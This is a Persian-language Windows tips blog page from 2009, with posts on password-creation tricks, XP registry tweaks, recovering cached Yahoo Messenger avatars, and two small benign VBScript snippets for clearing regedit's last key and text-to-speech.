1.برای ایجاد كلمه عبور، از حروف بزرگ و كوچك و به صورت یك در میان استفاده كنید. مثال: cOmPuTeR
2.حروف اول كلمات یك جمله را به عنوان رمز عبور خود انتخاب كنید.
مثلاًدر جمله:"If sentence is longer password would be safer " كه رمز عبور آن به این صورت تبدیل می شود: " Isilpwbs "
3.عدد یا تاریخی را برای خود در نظر بگیرید و آن را با دكمه Shift تایپ كنید.
مثلاً : تاریخ: 13.06.2002 با دكمه Shift به این كلمه تبدیل
می شود: !#>^>@))@
4.لغتی را در نظر بگیرید و سپس حروف سمت راست آن را که بر روی صفحه كلید قرار دارد، بنویسید:
مثال: Hardware تبدیل می شود به: Jstfestr
5.لغت یا تركیبی را برای خود در نظر بگیرید مانند “24Oktober” و بعد آن را بهم بریزید به این صورت كه حروف اول آن را با حرف آخر، حرف دوم را با حرف ماقبل آخر و به همین ترتیب بقیه را بنویسید: 24r4eObkot
6.لغات یك جمله را به اختصار بنویسید این اختصارات را خود شما تعیین می كنید و از قاعده خاصی پیروی نمی كنند. مثلاً عبارت White meat with cabbage تبدیل می شود به: “whtmtwtcabge”
7.در رمز عبور از علائم ویژه استفاده كنید. مثال: “c/Om%u\t§E~r

پنجشنبه 3 بهمن 1387 توسط حسین شربتی | نظرات ()

رنگ نقره ای زیبا به عنوان تم ویندوز XP

ویندوز XP به طور پیش فرض از قالب آبی رنگ معروف خودش استفاده میکند ، اما این تم هم به مرور خسته کننده و یکنواخت میشود ، با استفاده از این ترفند میتوانید از طریق رجیستری ، تم ویندوز را به رنگ نقره ای زیبایی تبدیل کنید.

برای این کار از منوی Start به Run بروید و در Run تایپ کنید regedit تا به رجیستری بروید. ویندوز XP به طور پیش فرض از قالب آبی رنگ معروف خودش استفاده میکند ، اما این تم هم به مرور خسته کننده و یکنواخت میشود ، با استفاده از این ترفند میتوانید از طریق رجیستری ، تم ویندوز را به رنگ نقره ای زیبایی تبدیل کنید.

برای این کار از منوی Start به Run بروید و در Run تایپ کنید regedit تا به رجیستری بروید.
حال به مسیر زیر بروید:
Hkey_CURRENT_USER / software / microsoft / windows / currentversion / theme manager
اکنون متغییر Color name را پیدا کرده وسپس روی دوبار کلیک کنید. سپس مقدار حوزه Value data را به Metallic تغییر داده و Ok کرده و از رجیستری خارج شوید.
در پایان کامپیوتر را restart تا این تغییر تاثیر خود را نشان دهد

پنجشنبه 3 بهمن 1387 توسط حسین شربتی | نظرات ()

ثبت دلایل Shutdown شدن ناگهانی ویندوز XP

حتما برای شما نیز پیش آمده است که ناگهان سیستم شما به دلیل نامعلومی Shutdown میشود. و شما هیچگاه متوجه دلیل آن نمیشود. بالا رفتن گرمای CPU ، دلایل نرم افزاری و ... میتواند از دلایل Shutdown شدن ناگهانی ویندوز شما باشد. حال قصد داریم تا ترفندی را به شما معرفی کنیم که با استفاده از آن و بهره گیری از رجیستری ویندوز میتوانید دلایل این عمل را بیابید و در پی رفع آن باشید.

بدین منظور:
حتما برای شما نیز پیش آمده است که ناگهان سیستم شما به دلیل نامعلومی Shutdown میشود. و شما هیچگاه متوجه دلیل آن نمیشود. بالا رفتن گرمای CPU ، دلایل نرم افزاری و ... میتواند از دلایل Shutdown شدن ناگهانی ویندوز شما باشد. حال قصد داریم تا ترفندی را به شما معرفی کنیم که با استفاده از آن و بهره گیری از رجیستری ویندوز میتوانید دلایل این عمل را بیابید و در پی رفع آن باشید.

بدین منظور:
از منوی Start به Run رفته و در Run عبارت regedit را تایپ کنید تا وارد ویرایشگر رجیستری ویندوز خود شوید.
حال به آدرس HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Reliability بروید.
در این مسیر متغیر از نوع DWORD و با نام ShutdownReasonUI وجود دارد. بر روی آن دوبار کلیک کرده و مقدار Value آن را به یک تغییر دهید و از رجیستری خارج شوید.

حال اگر از منوی Start گزینه Shutdown یا همان Turn Off را انتخاب کنید می بینید که با پنجره همیشگی ویندوز روبرو نمی شوید و یک پنجره پیشرفته تر برای شما به نمایش در خواهد آمد. حالا هر زمان کامپیوتر شما خاموش می شود بطور خودکار این گزارش ساخته می شود و می توانید از قسمت Event Viewer به تحلیل آنها بپردازید تا مشکل را پیدا کنید.

اما اکنون چگونه میتوانید از طریق Event Viewer این گزارش را یافته و آن را بررسی نمایید.
برای دیدن نتیجه گزارش باید مراحل زیر را انجام دهید :
الف) وارد Control Panel شده و آیکن Administrative Tools را انتخاب کنید.
ب) سپس باید روی Event Viewer دابل کلیک نمایید.
ج) از این پنجره ، در قسمت راست گزینه system را انتخاب کنید.
د) از منوی View باید گزینه گزینه Find را انتخاب کنید و عدد ۱۰۷۴ را در قسمت Event ID از پنجره Find تایپ و در نهایت Find Next را بزنید تا نتیجه جستجو را به شماره ۱۰۷۴ هدایت کنید.
ه) با دابل کردن روی Event ID می توانید نتیجه گزارش را ببینید.

در ضمن به این نکته دقت کنید که هر زمان خواستید پنجره Shut Down را به حالت عادی برگردانید باید متغیری را که در رجیستری به مقدار یک تغییر داده بودید را به صفر برگردانید.

پنجشنبه 3 بهمن 1387 توسط حسین شربتی | نظرات ()

ربودن تصاویر نمایش داده شده افراد در یاهو مسنجر

اگر از کاربران مسنجر محبوب یاهومسنجر باشید حتمأ با قابلیت Display Image به هنگام ارتباط با دوستانتان آشنا هستید. توسط این قابلیت میتوانید به هنگام چت با افراد تصویر یا آواتاری را برای ID خود قرار دهید که در پنجره چت و در لیست دوستان قابل مشاهده است. اما همانطور که میدانید امکان ذخیره این تصویر بر روی هارد به طور مستقیم وجود ندارد، بلکه تنها میتوانید تصاویر افراد را مشاهده کنید. راه هایی نظیر عکس گرفتن از صفحه یا سایت های جانبی نیز وجود دارد که آنها نیز تا حدودی دردسر ساز هستند. اما هم اکنون ترفندی را به شما معرفی میکنیم که به سادگی آب خوردن و بدون استفاده از هیچ ابزار جانبی تصاویری که دوستانتان در یاهومسنجر استفاده میکنند را بر روی هارد ذخیره و مشاهده کنید. جالب اینکه در این روش کلیه تصاویری که تاکنون توسط دوستانتان در یاهو مسنجر از قدیم تا به حال مشاهده کردید قابل بازیابی است.

ابتدا بایستی بدانید که شما نیاز به کار خاصی ندارید!
چرا که به طور اتوماتیک هر تصویری که تاکنون در یاهو مسنجر دوستانتان قرار داده اند و شما آن را مشاهده کرده اید به طور اتوماتیک بر روی هارد ذخیره میشود.
تنها بازیابی آن بر عهده شما خواهد بود.

بدین منظور:
My Computer را باز نمایید.
سپس به مسیر C:\Program Files\Yahoo!\Messenger\cache\Icon مراجعه کنید (منظور از C پوشه ای است که ویندوز در آن نصب است).
هم اکنون شما فایل هایی با عناوین مختلف مشاهده میکنید.
حال (ترفندستان) ابتدا اطمینان پیدا کنید قابلیت نمایش فرمت فایلها در ویندوز شما فعال است. بدین منظور از منوی Tools وارد Folder Options شوید. سپس به تب View رفته و تیک گزینه Hide extensions for known file types را بردارید و OK کنید.
سپس در مسیری که وارد شده اید فایلی را به دلخواه انتخاب کرده و بر روی آن راست کلیک نموده و Rename را برگزینید.
در انتهای آن عبارت jpg. را وارد نمایید.
خواهید دید که فایل شما تبدیل به یک تصویر شده است.
این تصویر یکی از آواتارهایی است که قبلأ در یاهو مسنجر مشاهده کردید.
اکنون میتوانید تک تک فایلهای موجود در این پوشه را به همین ترتیب تبدیل به عکس کنید.

تنها به این نکته دقت کنید که ممکن است بعضی از تصاویری که شما مشاهده میکنید تا حدودی سوخته به نظر بیایند. این موضوع تنها به هنگام نمایش توسط نمایشگر پیش فرض ویندوز اینگونه به نظر میرسد و در اصل تصویر سوخته نیست. اگر آن را توسط یک نمایشگر پیشرفته تر نظیر ACD See یا Photoshop باز کنید آن را به طور واضح مشاهده خواهید کرد. و طبعأ اگر یکی از این تصاویر به ظاهر سوخته را به عنوان My Display Image خود در یاهو مسنجر انتخاب کنید آن نیز به طور صحیح قابل مشاهده است.

همچنین شما به جای jpg. میتوانید از سایر فرمتهای تصویری نظیر bmp، gif و png نیز در انتهای عنوان فایل خود استفاده کنید.

سه شنبه 1 بهمن 1387 توسط حسین شربتی | نظرات ()

حکایت زنگ ساعت گوشی های موبایل

ممکن است برای شما نیز پیش آمده باشد که صبح زود قصد بیدار شدن از خواب را داشته باشید و برای بیدار شدن بخواهید از ساعت گوشی تان استفاده کنید. اما اگر تعدادی دوست مردم آزار داشته باشید قضیه اندکی فرق میکند! چرا که در صورت روشن گذاشتن گوشی ممکن است به وسیله SMS یا تماس بی موقع دوستانتان از خواب بپرید. به همین خاطر شاید قید بیدار شدن به وسیله گوشی را بزنید! اما اصلأ نیازی به نگرانی نیست چون چاره این کار بسیار ساده است و با یک نیمچه ترفند قابل حل.

ساعت موجود در کلیه گوشی های نوکیا ، سونی اریکسون و سامسونگ و اکثر گوشی های همانند ، به نوعی متفاوت از سیستم عامل درونی گوشی عمل میکند.
شما کافی است ساعت خود را پیش از خواب تنظیم کنید و زنگ بیداری را انتخاب کنید ، سپس با خیال راحت گوشی را خاموش کنید و بخوابید. گوشی در همان حالت خاموش زنگ زده و شما را از خواب بیدار میکند.
جالب تر اینکه اگر نخواهید گوشی را خاموش کنید ، میتوانید گوشی را در حالت بی صدا Silent قرار دهید و لرزاننده آن را هم خاموش کنید ، (ترفندستان) سپس ساعت را تنظیم کنید و مطمئن باشید در زمان تعیین شده با صدای بلند زنگ خواهد زد.
جدا از این مسئله ، گاهی به وسیله این ترفند میتوانید شوخی هایی هم با دوستانتان بکنید. به فرض در سر کلاس درس ، بر روی گوشی دوستتان که در حالت Silent هم هست زنگ ساعت قرار دهید...!

سه شنبه 1 بهمن 1387 توسط حسین شربتی | نظرات ()

برداشتن Recycle Bin از روی صفحه دسکتاپ

پس از نصب ویندوز ، اولین آیکونی که کاربران بر روی صفحه دسکتاپ خود مشاهده میکنند ، آیکون سطل آشغال یا Recycle Bin است. اما این شورتکات تا حدودی با شورتکات های دیگری که بر روی دسکتاپ ایجاد میشوند متفاوت است. Recycle Bin به راحتی پاک نمیشود! در این ترفند به معرفی روش برداشتن و حذف Recycle Bin از روی صفحه دسکتاپ خواهیم پرداخت.

بدین منظور:
از منوی Start وارد Run شده و عبارت regedit را وارد نمایید ، سپس Enter را بزنید تا وارد ویرایشگر رجیستری شوید.
به مسیر زیر بروید:

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explorer/Desktop/NameSpace

زیر کلید {645FF040-5081-101B-9F08-00AA002F954E} را انتخاب کنید و با فشردن دکمه Delete آن را پاک نمایید.
با این کار Recycle Bin از روی دسکتاپ شما محو خواهد شد.

سه شنبه 1 بهمن 1387 توسط حسین شربتی | نظرات ()

حذف آخرین مسیر مشاهده شده در رجیستری

اگر با رجیستری ویندوز آشنا باشید و تاکنون با آن کار کرده باشید حتمأ با این خاصیت رجیستری آشنا هستید؛ پس از هر بار ورود به مسیرهای مختلف رجیستری جهت ویرایش کلیدهای مختلف، در صورت بستن محیط برنامه، آخرین مسیر مشاهده شده در رجیستری در حافظه آن باقی می‌ماند و پس از ورود مجدد به رجیستری، خواهید دید که به صورت اتوماتیک به آخرین مسیری که قبلأ مراجعه کردید روانه خواهید شد. این موضوع ممکن است تاحدودی امنیت کاری شما در ویندوز را به خطر بیندازد، چرا که هر فردی با باز کردن رجیستری متوجه می‌شود که شما قبلأ در چه مسیر و شاخه ای از رجیستری بوده‌اید. برای حل این مشکل قصد داریم تا ترفندی ساده و کاربردی را مطرح کنیم که با بهره‌گیری از آن می‌توانید هر بار پس از خروج از رجیستری، آخرین مسیر مشاهده شده را از حافظه برنامه پاک کنید و در دفعات بعدی اجرای رجیستری به اولین شاخه ممکن بازگردید.

بدین منظور:
از منوی Start به All Programs و سپس Accessories رفته و بر روی Notepad کلیک کنید.
حال در محیط Notepad کدهای زیر را عینأ Copy و Paste نمایید:

Option Explicit
On Error Resume Next

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
WSHShell.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit\LastKey"
'www.Tarfandestan.com
WSHShell.Run "REGEDIT"

Set WSHShell = Nothing

پس از کپی کدهای فوق، از منوی File بر روی Save as کلیک کنید. سپس فایل را با نام دلخواه و پسوند vbs. ذخیره کنید (به عنوان مثال نام آن را Tarfandestan.vbs قرار دهید).
حالا به مسیری که فایل را ذخیره کرده‌اید مراجعه کنید.
اکنون بر روی فایل مذکور، دوبار کلیک کنید.
خواهید دید که رجیستری اجرا می‌شود، صدالبته یک رجیستری پاک و تمیز، بدون اینکه اثری از مسیر مشاهده شده قدیمی باشد.

شما می‌توانید جهت بالا بردن سرعت کار از این فایل یک Shortcut تهیه کرده و سپس آن را در محیطی مثل Quick Lunch ویندوز قرار دهید تا همواره سریع‌تر به آن دسترسی داشته باشید.

سه شنبه 1 بهمن 1387 توسط حسین شربتی | نظرات ()

تبدیل متن به گفتار با ساخت یک فایل سخنگو!

احتمالأ شما نیز تاکنون با استفاده از نرم افزارهای مختلف و یا از طریق قسمت Speech ویندوز XP متون خود را به گفتار تبدیل کرده اید. به طوریکه متن را تایپ نموده و کامپیوتر آن را برای شما میخواند. اما شاید برای شما نیز جالب باشد که بتوانید خودتان به سادگی همچین برنامه ای بسازید! به طوریکه خروجی شما یک فایل کوچک شده که با اجرای آن و تایپ حروف کامپیوتر آن را برای شما میخواند! قطعأ این راه سریعترین و جذاب ترین راه برای تبدیل نوشتار به گفتار است!

بدین منظور:
از منوی Start وارد Run شده و عبارت notepad را وارد نموده و Enter بزنید تا ویرایشگر Notepad ویندوز باز شود.
اکنون دستورات زیر را عینأ داخل Notepad کپی نمایید:

Dim msg, sapi
msg=InputBox("Matneh khod ra vared namaeed! www.Tarfandestan.com","Sokhangoo")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg

سپس از منوی File گزینه Save را انتخاب نمایید.
حال نامی برای فایل خود در نظر گرفته و آن را با فرمت vbs. ذخیره کنید. به عنوان مثال نام فایل خود را Tarfandestan.vbs بگذارید.
پس از اینکار بر روی دکمه Save کلیک کرده تا فایل شما در محل مورد نظر ذخیره گردد.
اکنون به محلی که فایل ذخیره شده بروید و فایل ساخته شده را با دوبار کلیک اجرا نمایید.
خواهید دید پنجره ای باز میشود که با تایپ عبارت مورد نظر خود در قسمت مربوطه و فشردن دکمه OK میتوانید منتظر شنیدن عبارت وارد شده خود توسط کامپیوتر شوید.
لازم به ذکر است که اینکار طبعأ تنها بر روی حروف انگلیسی امکان پذیر است

سه شنبه 1 بهمن 1387 توسط حسین شربتی | نظرات ()

ترفند کامپیوتری

از صفحه کلید بهتر استفاده کنید

از صفحه کلید بهتر استفاده کنید

1.اگر کلید CTRL را زمانی که در حال کشیدن فایلی هستید به طور همزمان فشار دهید فایل مزبور کپی می شود

2.اگر کلیدهای CTRL+SHIFT را زمانی که در حال کشیدن فایلی هستید به طور همزمان فشار دهید SHOTCUT از فایل مورد نظر ایجاد می شود

3. زمانی که در حال قرار دادن سی دی درون CD - ROM خود هستید اگر همزمان کلیدSHIFT را فشار دهید از اجرای برنامه AUTORUN شما اجتناب می کند .

4. هنگامی که در حال مشاهده صفحه وب هستید و می خواهید آن را Full Sceen ببینید کافی است کلیدF11 را فشار دهید

5. اگر کلیدهای ALT+ENTER را بطور همزمان فشار دهید پنجرهProperties را از آیتم انتخاب شده مشاهده می کنید

6. با استفاده از کلید F6 می توانید میان بخشهای مختلف صفحه نمایش و یا پنجره فعال جابه جا شوید

سه شنبه 1 بهمن 1387 توسط حسین شربتی | نظرات ()

پست الکترونیک
تماس با مدیر
RSS
ATOM

حسین شربتی

اردیبهشت 1388

بهمن 1387

ویروس

امنیت در كلمه عبور

رنگ نقره ای زیبا به عنوان تم ویندوز XP

ثبت دلایل Shutdown شدن ناگهانی ویندوز XP

ربودن تصاویر نمایش داده شده افراد در یاهو مسنجر

حکایت زنگ ساعت گوشی های موبایل

برداشتن Recycle Bin از روی صفحه دسکتاپ

حذف آخرین مسیر مشاهده شده در رجیستری

تبدیل متن به گفتار با ساخت یک فایل سخنگو!

ترفند کامپیوتری

لیست آخرین مطالب

سرزمین دانلود

ترفند

همه پیوندهای روزانه

ارسال پیوند روزانه

همه چیز در مورد صفحه آبی مرگ (Blue Screen Of Death)

کد ویروس نویسی

دسترسی سریعتر به فولدرهای Share شده در شبکه

در پشت صفحه بوت ویندوز XP چه میگذرد؟

به اشتراک گذاری ماوس و کیبورد در میان کامپیوترهای تحت شبکه

ده ترفند جهت خنک نگه‏داشتن قطعات کامپیوتر

کلیپ تصویری ماشین علی دایی

کلیپ درگیری لفظی فیروز کریمی و مایلی کهن

جدیدترین نرم افزار ها

دانلود آلبوم 88 شادمهر عقیلی با نام Destiny

جدیدترین آهنگهای سال 88

مقایسه winrar,winzip

هک موبایل بدون استفاده از نرم افزار جانبی

پروژه درس سخت افزار 2

چه کارت گرافیکی بخریم : Nvidia یا ATI

آموزش Opera 9.0 و بررسی امکانات آن

كامل ترین مرجع خطاهای مودم

همه چیز در مورد صفحه آبی مرگ (Blue Screen Of Death)

عکس هایی از چشم

تمامی تک آهنگ ها + تمامی آلبوم های محسن یگانه

ویروس سازی

ثروتمند ترین مردان جهان

عکس هایی از پرسپولیس

عکس مقبرۀ کوروش ;کبیر در قبل و بعد از دوران پهلوی

كوروش کبیر

ذوالقرنین واقعی کیست؟

زندگی نامه کوروش کبیر

جوک های خفن

جوک های جدید

ترفند های ویندوز

ترفند یاهو

ترفند های اینترنت

مجموعه اس ام اس های توپ و خفن2

قرار دادن عکس دلخواه در پس زمینه یک درایو

قابلیت Caller ID موجود در ویندوز XP

مخفی کردن فایل در داخل عکس توسط نرم افزار winrar

خوشنویسی به صورت online

عکس هایی از فیلم چهارچنگولی

عکس بچه عشقولانه

عکس های از طرح مبارزه با ارازل

عکس های فانتزی گرافیکی

عکسی از یک لباس مذهبی

به دست آوردن IP خودتان از طریق CMD

مشاهده صورت حساب قبض موبایلتان و حتی دوستانتان از طریق اینترنت

نحوه استفاده از لغت نامه موجود در Microsoft Word

شکستن Master Password نرم افزار Folder Guard

ویرایش رجیستری در سیستم های تحت شبکه

تعیین تاریخ انقضا برای رمز عبور حساب های کاربری در ویندوز XP

بازديدهاي امروز : نفر
بازديدهاي ديروز : نفر
كل بازديدها : نفر
بازدید این ماه : نفر
بازدید ماه قبل : نفر
تعداد نویسندگان : عدد
كل مطالب : عدد
آخرین بازدید :
آخرین بروز رسانی :

پخش زنده رادیو فردا

www.shab-kavir.tk